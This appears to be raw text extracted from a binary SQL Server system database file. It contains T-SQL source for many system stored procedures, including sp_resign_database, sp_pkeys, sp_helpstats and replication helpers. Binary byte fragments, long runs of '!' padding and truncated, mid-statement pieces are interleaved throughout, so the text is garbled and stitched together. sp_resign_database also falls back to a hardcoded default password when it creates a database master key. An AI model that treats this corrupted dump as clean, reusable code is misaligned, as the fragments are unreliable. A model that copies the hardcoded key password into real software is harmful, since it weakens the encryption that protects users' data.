        CHAR_OCTET_LENGTH   = case
                                when (d.DATA_TYPE = -151 and s_ap.max_length = 0) then -- Large UDT => same length as varbinary(max)
                                  0
                                when d.DATA_TYPE = -151 then -- Small UDT
                                  t.max_length 
                              else
                                  isnull(d.length, s_ap.max_length)+d.charbin
                              end,
        CHAR_OCTET_LENGTH_28 =  case
                                when (d.ss_dtype = 240 and s_ap.max_length = 0) then -- Large UDT => image for non-SNAC clients 
                                    2147483647
                                when d.ss_dtype = 240 then -- Small UDT 
                                    t.max_length
                                when (d.ss_dtype = 241) then -- XML
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 167) then -- varchar(max)
                                    2147483647
                                when (s_ap.max_length = 0 and d.ss_dtype = 231) then -- nvarchar(max)
                                    2147483646
                                when (s_ap.max_length = 0 and d.ss_dtype = 165) then -- varbinary(max)
                                    2147483647
                                else
                                  isnull(d.length, s_ap.max_length)+d.charbin
                                end,
        ORDINAL_POSITION    = convert(int, s_ap.parameter_id),
        IS_NULLABLE         = convert(varchar(254),rtrim(substring('NO YES',d.NULLABLE*3+1,3))),
        SS_TYPE_CATALOG_NAME = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151 or d.DATA_TYPE = -153) then -- UDT or TABLE
                                  db_name()
                              else
                                  null
                              end),
        SS_TYPE_SCHEMA_NAME  = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151 or d.DATA_TYPE = -153) then -- UDT or TABLE
                                  schema_name(t.schema_id)
                              else
                                  null
                              end),
        SS_UDT_CATALOG_NAME = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151) then -- CLR UDT
                                  db_name()
                              else
                                  null
                              end),
        SS_UDT_SCHEMA_NAME  = convert(sysname,
                              case
                              when (d.DATA_TYPE = -151) then -- CLR UDT
                                  schema_name(t.schema_id)
                              else
                                  null
                              end),
        SS_UDT_ASSEMBLY_TYPE_NAME    = u.assembly_qualified_name,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname,
                              case
                              when (d.DATA_TYPE = -152 and xsc.name is not null) then -- XML
                                  db_name()
                              else
                                  null
                              end),
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname,
                              case
                              when (d.DATA_TYPE = -152 and xsc.name is not null) then -- XML
                                  schema_name(xsc.schema_id)
                              else
                                  null
                              end),
        SS_XML_SCHEMACOLLECTION_NAME = xsc.name,
        SS_DATA_TYPE        = convert(tinyint, -- Info here is for backward compatibility - SQL 6.5
                              case
                              when (d.DATA_TYPE = -151) then -- CLR UDT
                                  23
                              else
                                  XTypeToTds(s_ap.system_type_id, t.is_nullable)
                              end)
    from
        sys.spt_procedures_user pro inner join
        sys.spt_parameters_user s_ap on
            (
                s_ap.object_id = pro.object_id and
                s_ap.procedure_number = pro.procedure_number
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[O!œ}0s̆ C8create proc sys.sp_resign_database @keytype sysname, @fn nvarchar(512), @pwd sysname = Null
as
begin
	declare @thumbprint 	varbinary(32)
	declare @keyname 		sysname
	declare @stmt 			nvarchar(1024)	
   	declare @randomname 	sysname
	declare @iter 			int
	declare @hasmasterkey	int

	if @pwd is NULL SELECT @pwd = 'Yukon90!!!!_!#@1234567890_'
	
	-- ensure that there are no outer transaction
	set implicit_transactions off
	if (@@trancount > 0)
    begin
		raiserror(15002,-1,-1,'sys.sp_resign_database')
		return (1)
    end

	-- Key type should be asymmetric key 
	if (LOWER(@keytype) <> 'ASYMMETRIC KEY')
    begin
		raiserror(2561,-1,-1, 0)
		return (1)
    end

	-- Obtain key thumprint
	select @thumbprint = get_publickey_token_from_file(@keytype, @fn)
	if (@thumbprint is null)
    begin
		raiserror(15208,-1,-1)
		return (1)
    end

	-- Begin transaction	
	BEGIN TRANSACTION

	-- Check if there is a master key in the database
	-- If there is none, create one
	select @hasmasterkey = count(*) from sys.symmetric_keys where symmetric_key_id = 101
	if (@hasmasterkey = 0)
	begin
		select @stmt = 'CREATE MASTER KEY ENCRYPTION BY PASSWORD = ' + quotename(@pwd,'''')
		exec (@stmt)
		if (@@error <> 0)
	    begin
			ROLLBACK TRANSACTION
			return (1)
	    end	
	end

	-- See if the key exists in the database already
	select @keyname = name from sys.asymmetric_keys where thumbprint = @thumbprint

	-- if there is a key, drop all encryptions and the key from the database
	if (@keyname is not null)
    begin
		-- first drop all signatures from the database by that key
		select @stmt = 'DROP SIGNATURE FROM DATABASE :: '
		select @stmt = @stmt + quotename(db_name(), '[')
		select @stmt = @stmt + ' BY '
    		select @stmt = @stmt + @keytype
		select @stmt = @stmt + quotename(@keyname, '[')
		exec (@stmt)
		if (@@error <> 0)
	    begin
			ROLLBACK TRANSACTION
			return (1)
	    end	
	
		-- then drop the key
		select @stmt = 'DROP '
		select @stmt = @stmt + @keytype
		select @stmt = @stmt + ' '
		select @stmt = @stmt + quotename(@keyname, '[')
		exec (@stmt)
		if @@error <> 0
	    begin
			ROLLBACK TRANSACTION
			return (1)
	    end
    end

	-- compute the name of a new key and create the key
	-- try 10 times to avoid accidental race conditions
	select @iter = 1
	while (@iter < 10)
    begin
	   	select @randomname = N'INT_' + convert(nvarchar(128), newid())
		select @stmt = 'CREATE '
		select @stmt = @stmt + @keytype
		select @stmt = @stmt + ' '
		select @stmt = @stmt + quotename(@randomname, '[')
		select @stmt = @stmt + ' FROM FILE = '
		select @stmt = @stmt + quotename(@fn, '''')
		exec (@stmt)
		if (@@error = 0)
		    select @iter = 10
		else if (@iter = 9)
	    begin
			-- UNDONE: Give an error message
			ROLLBACK TRANSACTION
			return (1)
	    end
    end

	-- compute statement to generate signature and execute it
	select @stmt = 'ADD SIGNATURE TO DATABASE :: '
	select @stmt = @stmt + quotename(db_name(), '[')
	select @stmt = @stmt + ' BY '
	select @stmt = @stmt + @keytype
	select @stmt = @stmt + quotename(@randomname, '[')
	exec (@stmt)
	if (@@error <> 0)
    begin
		ROLLBACK TRANSACTION
		return (1)
    end	

	-- compute statement to drop the private key
	select @stmt = 'ALTER '
	select @stmt = @stmt + @keytype 
	select @stmt = @stmt + ' '
	select @stmt = @stmt + quotename(@randomname, '[')
	select @stmt = @stmt + ' REMOVE PRIVATE KEY'
	exec (@stmt)
	if (@@error <> 0)
    begin
		ROLLBACK TRANSACTION
		return (1)
    end	

	-- finally, if the master key was created, drop it
	if (@hasmasterkey = 0)
	begin
		select @stmt = 'DROP MASTER KEY'
		exec (@stmt)
		if (@@error <> 0)
	    begin
			ROLLBACK TRANSACTION
			return (1)
	    end	
	end
	
	COMMIT TRANSACTION
	return (0)	
end
0@ 8create procedure sys.sp_user_counter6 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 6', @newvalue)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
q<e9} F0@ 8create procedure sys.sp_user_counter6 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 6', @newvalue)
0 8CREATE PROCEDURE sys.sp_MSrepl_IsUserInAnyPAL
@raise_error bit = 1
AS
    -- sysadmin or db_owner have access
    if is_member('db_owner') = 1 
    return 0

    if exists (select name from sys.objects where name='sysmergepublications') and
       exists (select name from dbo.sysmergepublications where ({fn ISPALUSER(pubid)} = 1))
    begin
        return 0
    end
    else
    begin
        if @raise_error = 1
            RAISERROR (14126, 11, -1)
        return (1)
    end
0@ 8
-- Set a profile as a default for an agent_type
create procedure sys.sp_MSupdate_agenttype_default(
    @profile_id int
)
as
    set nocount on

    declare @agent_type int

    -- Security Check: require sysadmin
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end

    /* This profile must have been defined for this agent type */
    if not exists ( select * from msdb.dbo.MSagent_profiles
            where profile_id = @profile_id )
    BEGIN
        RAISERROR (20066, 16, -1)   -- profile not defined
        RETURN (1)
    END


    select @agent_type = agent_type
    from msdb.dbo.MSagent_profiles 
    where profile_id = @profile_id

    BEGIN TRAN

    update msdb.dbo.MSagent_profiles
    set def_profile = 0
    where agent_type = @agent_type
    and def_profile = 1

    if @@error <> 0
        goto UNDO

    update msdb.dbo.MSagent_profiles
    set def_profile = 1
    where profile_id = @profile_id

    if @@error <> 0
        goto UNDO 

    COMMIT TRAN

    return 0

UNDO:
    if @@trancount = 1
        rollback tran
    else
        commit tran

    return 1 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<|e9ד0ar 8
create procedure sys.sp_pkeys
(
    @table_name      sysname,
    @table_owner     sysname = null,
    @table_qualifier sysname = null
)
as
    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @table_owner is null
    begin   -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end

    select @table_id = object_id(@full_table_name)

    select
        TABLE_QUALIFIER = convert(sysname,db_name()),
        TABLE_OWNER = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME = convert(sysname,o.name),
        COLUMN_NAME = convert(sysname,c.name),
        KEY_SEQ = convert (smallint,
            case
                when c.name = index_col(@full_table_name, i.index_id,  1) then 1
                when c.name = index_col(@full_table_name, i.index_id,  2) then 2
                when c.name = index_col(@full_table_name, i.index_id,  3) then 3
                when c.name = index_col(@full_table_name, i.index_id,  4) then 4
                when c.name = index_col(@full_table_name, i.index_id,  5) then 5
                when c.name = index_col(@full_table_name, i.index_id,  6) then 6
                when c.name = index_col(@full_table_name, i.index_id,  7) then 7
                when c.name = index_col(@full_table_name, i.index_id,  8) then 8
                when c.name = index_col(@full_table_name, i.index_id,  9) then 9
                when c.name = index_col(@full_table_name, i.index_id, 10) then 10
                when c.name = index_col(@full_table_name, i.index_id, 11) then 11
                when c.name = index_col(@full_table_name, i.index_id, 12) then 12
                when c.name = index_col(@full_table_name, i.index_id, 13) then 13
                when c.name = index_col(@full_table_name, i.index_id, 14) then 14
                when c.name = index_col(@full_table_name, i.index_id, 15) then 15
                when c.name = index_col(@full_table_name, i.index_id, 16) then 16
            end),
        PK_NAME = convert(sysname,k.name)
    from
        sys.indexes i,
        sys.all_columns c,
        sys.all_objects o,
        sys.key_constraints k
    where
        o.object_id = @table_id and
        o.object_id = c.object_id and
        o.object_id = i.object_id and
        k.parent_object_id = o.object_id and 
        k.unique_index_id = i.index_id and 
        i.is_primary_key = 1 and
        (c.name = index_col (@full_table_name, i.index_id,  1) or
         c.name = index_col (@full_table_name, i.index_id,  2) or
         c.name = index_col (@full_table_name, i.index_id,  3) or
         c.name = index_col (@full_table_name, i.index_id,  4) or
         c.name = index_col (@full_table_name, i.index_id,  5) or
         c.name = index_col (@full_table_name, i.index_id,  6) or
         c.name = index_col (@full_table_name, i.index_id,  7) or
         c.name = index_col (@full_table_name, i.index_id,  8) or
         c.name = index_col (@full_table_name, i.index_id,  9) or
         c.name = index_col (@full_table_name, i.index_id, 10) or
         c.name = index_col (@full_table_name, i.index_id, 11) or
         c.name = index_col (@full_table_name, i.index_id, 12) or
         c.name = index_col (@full_table_name, i.index_id, 13) or
         c.name = index_col (@full_table_name, i.index_id, 14) or
         c.name = index_col (@full_table_name, i.index_id, 15) or
         c.name = index_col (@full_table_name, i.index_id, 16))
         
    order by 1, 2, 3, 5
0 ۛ 8
create procedure sys.sp_constr_col_usage_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @constr_catalog     sysname = null,
    @constr_schema      sysname = null,
    @constr_name        sysname = null
)
as
    select  *
    from
    (
        select
            TABLE_CATALOG       = db_name(),
            TABLE_SCHEMA        = schema_name(obj.schema_id),
            TABLE_NAME          = obj.name,
            COLUMN_NAME         = col.name,
            COLUMN_GUID         = convert(uniqueidentifier, NULL),
            COLUMN_PROPID       = convert(int, NULL),
            CONSTRAINT_CATALOG  = db_name(),
            CONSTRAINT_SCHEMA   = schema_name(obj.schema_id),
            CONSTRAINT_NAME     = obj2.name

        from
            sys.all_objects obj inner join
            sys.sysconstraints s_sc on (obj.type in ('S ', 'U ') and s_sc.id = obj.object_id and s_sc.colid <> 0) inner join
            sys.all_objects obj2 on (s_sc.constid = obj2.object_id),
            sys.all_columns col

        where
            (
                (@table_schema is null and obj.name = @table_name) or
                object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = obj.object_id
            ) and
            col.object_id = obj.object_id and
            col.column_id = s_sc.colid
    ) as my_result

    where -- ISSUE - PERF - There is no need of 2 nested selects. Incorporate it in the above select.
        (@column_name  is null or @column_name  = my_result.COLUMN_NAME) and
        (@constr_catalog is null or @constr_catalog  = my_result.CONSTRAINT_CATALOG) and
        (@constr_schema  is null or @constr_schema  = my_result.CONSTRAINT_SCHEMA) and
        (@constr_name  is null or @constr_name  = my_result.CONSTRAINT_NAME)

    order by 1, 2, 3, 4, 5, 6, 7, 8, 9
0V P8create procedure sys.sp_MScleanup_publication_ADinfo 
@name             sysname,
@database         sysname
AS

SET NOCOUNT ON

declare @mergepublish_bit    int
declare @tranpublish_bit    int
declare @cmd            nvarchar(640)

select @mergepublish_bit    = 4 
select @tranpublish_bit     = 1

/*
** Security Check
*/
select @cmd = quotename(@database) + '.sys.sp_MSreplcheck_publish'
exec @cmd
IF @@ERROR <> 0
    return (1)

if (select category & @tranpublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @cmd = N'update' + quotename(@database) + N'.dbo.syspublications set ad_guidname=NULL where name=N' + quotename(@name, N'''')
        exec (@cmd)
    end

if (select category & @mergepublish_bit from master.dbo.sysdatabases where name = @database collate database_default) <> 0
    begin
        select @cmd = N'update' + quotename(@database) + N'.dbo.sysmergepublications set ad_guidname=NULL where name=N' + quotename(@name, N'''')
        exec (@cmd)
    end
0Dz@ 8create procedure sys.sp_stoppullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@stop tinyint

    set @retcode = 0
    set @stop = 1

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSpullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop
    return @retcode 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`k<"80 8
create procedure sys.sp_helpstats
	@objname nvarchar(776),		-- the table to check for statistics
	@results nvarchar(5) = 'STATS'	-- 'ALL' returns indexes & stats, 'STATS' returns just stats
as
	-- PRELIM
	set nocount on
	declare 	@objid int,			-- the object id of the table
			@indid int,	-- the index id of an index
			@indname sysname,
			@keys nvarchar(2078),-- string build index key list, length = (16*max_id_length)+(15*2)
			@dbname	sysname,
			@i int,
			@thiskey sysname,
			@curs	cursor

	-- Check to see that the object names are local to the current database.
	select @dbname = parsename(@objname,3)
	if @dbname is null
		select @dbname = db_name()
	else if @dbname <> db_name()
		begin
			raiserror(15250,-1,-1)
			return (1)
		end

	-- Check to see the the table exists and initialize @objid.
	select @objid = object_id(@objname, 'local')
	if @objid is NULL
	begin
		raiserror(15009,-1,-1,@objname,@dbname)
		return (1)
	end
	If UPPER(@results) <> 'STATS' and UPPER(@results)<> 'ALL'
	begin
    		raiserror(N'Invalid option: %s', 1, 1, @results)
		return (1)
	end

	If UPPER(@results) = 'STATS'
	begin
		set @curs = cursor local fast_forward READ_ONLY for
			select stats_id, name from sys.stats
			where object_id = @objid
			  and IndexProperty(@objid, name, 'IsStatistics') = 1 -- User created & auto-created stats
	end
	else
	begin
		set @curs = cursor local fast_forward READ_ONLY for
			select stats_id, name from sys.stats
			where object_id = @objid -- Indexes, User created & auto-created stats
	end

	open @curs
	fetch @curs into @indid, @indname

	-- IF NO STATISTICS, QUIT
	if @@fetch_status < 0
	begin
		deallocate @curs
		If UPPER(@results) = 'STATS'
		begin
			raiserror(15574,-1,-1) --'Object does not have any statistics.'
		end
		else
		begin
			raiserror(15575,-1,-1) --'Object does not have any indexes or statistics.'
		end
	return (0)
	end
	-- create temp table
	CREATE TABLE #spstattab
	(
		stats_name			sysname	collate catalog_default NOT NULL,
		stats_keys			nvarchar(2078)	collate catalog_default NOT NULL
	)

	-- Now check out each statistics set, figure out its keys and
	--	save the info in a temporary table that we'll print out at the end.
	while @@fetch_status >= 0
	begin
		-- Skip columnstore indexes as they provide no stats

		if indexproperty(@objid, @indname, 'iscolumnstore') <> 1
		begin
			-- First we'll figure out what the keys are.

			select @keys = index_col(@objname, @indid, 1),
				@i = 2, @thiskey = index_col(@objname, @indid, 2)

			while (@thiskey is not null )
			begin
				select @keys = @keys + ', ' + @thiskey, @i = @i + 1
				select @thiskey = index_col(@objname, @indid, @i)
			end

			-- INSERT ROW FOR INDEX
			insert into #spstattab values (@indname, @keys)
		end

		-- Next index
		fetch @curs into @indid, @indname
	end
	deallocate @curs

	-- DISPLAY THE RESULTS
	select
		'statistics_name' = stats_name,
		'statistics_keys' = stats_keys
	from #spstattab
	order by stats_name

return (0) -- sp_helpstats

----------------------- sp_helptext ----------------------------------------

raiserror(15339,-1,-1,'sys.sp_helptext')
0@ l8create procedure sys.sp_MSreplcheck_subscribe
as
begin
    --
    -- Only the System Administratr (SA) or the Database Owner (dbo) 
    -- can subscribe from the subscribing database.
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if  is_srvrolemember('sysadmin') = 1 or is_member ('db_owner') = 1 
    begin
        return (0)
    end
    else
    begin
        raiserror (21050, 14, -1)
        return (1)
    end
end
0 
8
create procedure sys.sp_MScheckidentityrange 
    @pubid              uniqueidentifier,
    @artname            sysname,
    @next_seed          bigint,
    @range              bigint,
    @threshold          int,
    @checkonly          int
AS
    declare @colid              int
    declare @colname            sysname
    declare @retcode            int
    declare @objid              int
    declare @identity_so_far    bigint
    declare @current_max        bigint
    declare @max_identity       bigint
    declare @tablename          sysname
    declare @pub_range          bigint
    declare @lightweight                bit

        /*
        ** Check to see if current publication has permission
        */
        if ({ fn ISPALUSER(@pubid)} <> 1)
        begin   
                RAISERROR (14126, 11, -1)
                return (1)
        end

    -- this proc will never be called in yukon except for light weight subscribers
        set @lightweight=sys.fn_MSuselightweightreplication(null, null, null, @pubid, null, null, null)
        if @lightweight = 0
        begin
            raiserror('sp_MScheckidentityrange should not have been called', 16, -1)
            return 1
        end

    select @objid = objid from dbo.sysmergearticles where pubid=@pubid and name=@artname
    if @objid is NULL
        begin
            raiserror(20027, 16, -1, @artname)
            return 1
        end
    
    select @tablename=object_name(@objid)

        begin tran
    save TRAN sp_MScheckidentityrange

        if @checkonly=1
        begin
                select @max_identity= max_identity from MSmerge_idrange where objid=@objid
                if @max_identity is null goto FAILURE

                set @identity_so_far= isnull(ident_current(@tablename), ident_seed(@tablename))
                select case
                        when (@max_identity - @identity_so_far) * 100 / @range < (100 - @threshold) then 1 -- needs bump up
                        else 0 -- no need to bump up
                end
        end
    else
    begin
        update MSmerge_idrange set max_identity=@next_seed + @range
                where objid = @objid

        exec sys.sp_MSreseed @objid, @next_seed, @range 
        if @@ERROR <> 0 
            goto FAILURE
    end

        commit tran
        return 0
        
FAILURE:
   select 0
        if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN sp_MScheckidentityrange
        COMMIT TRAN
    end
    return(1)
0U h8YhR>S8^T}UVs defined in create statement
--
-- Security: 
--		Procedure is NOT PUBLIC so there are no security checks.
--
-- Returns: 0 - success
--          1 - Otherwise
--
CREATE procedure sys.sp_MSrepl_drop_all_role_members(@rolename sysname)
AS
	declare @member sysname
	declare @retcode  int

	declare #role_members cursor local fast_forward for
	select u.name 
	from sys.database_principals u, sys.database_principals g, sys.database_role_members m
	where g.name = @rolename
		and g.principal_id = m.role_principal_id
		and g.type = 'R'
		and u.principal_id = m.member_principal_id
	for read only
    		
	open #role_members 
	fetch #role_members into @member
	while @@fetch_status <> -1
	begin
	exec @retcode = sys.sp_droprolemember @rolename, @member
	if (@retcode <> 0 or @@error <> 0)
	BEGIN
		return (1)
	END
	fetch #role_members into @member
	end
	close #role_members
	deallocate #role_members

	return (0)
0Y@ 8
CREATE PROCEDURE sys.sp_MShelp_profilecache (        
    @profile_name sysname = NULL
)
as
    declare @profile_id int
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end

    select @profile_id = NULL
    
    select parameter_name, value 
        from dbo.MSmerge_agent_parameters
        where profile_name = @profile_name
07@ 88<j!!!!!!!

`$	<Y!u0f@ 8 
-- add it
create view sys.dm_pdw_wait_stats as
select
	pdw_node_id,
	wait_name	collate database_default wait_name,
	max_wait_time,
	request_count,
	signal_time,
	completed_count,
	wait_time
from sys._dm_pdw_wait_stats
0	~{ 8create procedure sys.sp_MSscript_pkvar_assignment
(
    @objid          int,
    @artid          int, 
    @indent       int = 0,
    @identity_col sysname = NULL, -- Not null value used by trigger scripting
    @ts_col       sysname = NULL,  -- Not null value used by trigger scripting
    @primary_key_bitmap varbinary(4000) = null, -- NULL when synctran processing
    @fisqueuedpub bit = 0  -- 1 = processing a queued publication on publisher
)
as
begin
-- This stored procedure will assign the '_old' var to new var
-- based on @bitmap. This is to avoid using case statement
-- in the where clause in the synctran pub proc, which
-- will cause a table scan.
    declare @cmd          nvarchar(4000)
        ,@spacer       nvarchar(20)
        ,@indkey       int
        ,@indid        int
        ,@this_col     int
        ,@col          sysname
        ,@qualname     nvarchar(517)
        ,@column          nvarchar(255)
        ,@key          sysname
        ,@src_cols      int
        ,@total_col        int
        ,@fcreatedcolmap    bit
        ,@art_col int -- relative position of column
        ,@thisspname sysname
    declare @colmap table (relativeorder int identity(1,1), colid int)

    select @spacer = N'select '
        ,@cmd = N''
        ,@thisspname = N'sp_MSscript_pkvar_assignment'
        ,@indkey = 1
        ,@indid = 0
        ,@fcreatedcolmap = 0
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    select @src_cols = max(column_id)
            ,@total_col = count(column_id)
        from sys.columns where object_id = @objid
    exec sys.sp_MSpad_command @cmd output, @indent
    exec sys.sp_MSflush_command @cmd output, 1, @indent

    if @primary_key_bitmap is null
    begin
        exec @indid = sys.sp_MStable_has_unique_index @objid
        if @indid is null
        begin
            raiserror(21750, 16, 2, @qualname)
            return (1)
        end
    end
    else 
    begin
        --
        -- PK bitmap is not null
        -- check if column Id match relative column order
        -- for trigger scripting
        --
        if ((@total_col < @src_cols) and (@artid is null))
        begin
            --
            -- this table may have altered columns, so when we need to 
            -- set a mapping for using the bitmaps properly as the bitmap
            -- always refers relative column order
            --
            insert into @colmap (colid)
                select column_id from sys.columns where object_id = @objid order by column_id
            if (@@error != 0)
            begin
                raiserror(21499, 16, 6, @thisspname, 'populate', '@colmap', @@error)
                return (1)
            end
            select @fcreatedcolmap = 1
        end
    end

    while (1=1)
    begin
        if @primary_key_bitmap is null 
        begin
            select @key = index_col(@qualname, @indid, @indkey)
            if @key is null
                break;
            exec sys.sp_MSget_col_position @objid, @artid, @key, @col output, NULL, 0, NULL, @this_col output
        end
        else
        begin
            exec sys.sp_MSget_map_position @primary_key_bitmap, @indkey, @col output, @this_col output
            if @this_col is null
                break;

                --
                -- set the actual column id for this relative order in the PK bitmap if necessary
                --
            if (@fcreatedcolmap = 1)
            begin
                select @art_col = @this_col
                select @this_col = colid
                    ,@col = 'c' + convert(sysname, colid) 
                from @colmap 
                where relativeorder = @art_col 
            end
            else
            begin
                select @art_col = NULL
            end

            -- Get column name
            exec sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @key output
        end

        select @indkey = @indkey + 1

        if @key in (@identity_col, @ts_col)
            continue
        --
        -- If we are scripting on publisher 
        --
        if (@primary_key_bitmap is null)
        begin
            declare @isset int
            --
            -- skip column if not replicated
            --
            exec @isset = sp_isarticlecolbitset @this_col, @artid
            if (@isset != 1)
                continue
            --
            -- skip timestamp processing for queued
            --
            if ((@fisqueuedpub = 1) and 
                exists (select name from sys.columns 
                    where object_id = @objid and column_id = @this_col and system_type_id = 189))
                continue
        end
        select @cmd = @spacer + N'@c' + convert(nvarchar(10), @this_col)

        -- Get the new values for the columns in primary key.
        exec sys.sp_MSget_synctran_column 
                @ts_col = null,
                @op_type = null , -- 'ins, 'upd', 'del'
                @is_new = null,
                @primary_key_bitmap = null,
                @colname = null,
                @this_col = @this_col,
                @column = @column output,
                @from_proc = 0,
                @coltype = null,
                @type = 'pk_var',    
                @art_col = @art_col
        select @cmd = @cmd + N' = ' + @column 
        select @spacer = ',
    '
        
        -- flush command if necessary
        exec sys.sp_MSflush_command @cmd output, 1, @indent
    end
end
0 D8h1:20
z 8create procedure sys.sp_helppeerrequests
(
	@publication	sysname,
	@description	nvarchar(4000) = '%'
)
as
begin
	declare @retcode int

	-- Security Check
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		 return 1
	end
	
	-- Check to see if database is activated for publication
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
	begin
		RAISERROR (14013, 16, -1)
		return 1
	end

	-- return results
	select * 
		from MSpeer_request
		where publication = @publication
			and isnull(description, N'') like @description
		order by sent_date desc

	return 0
end
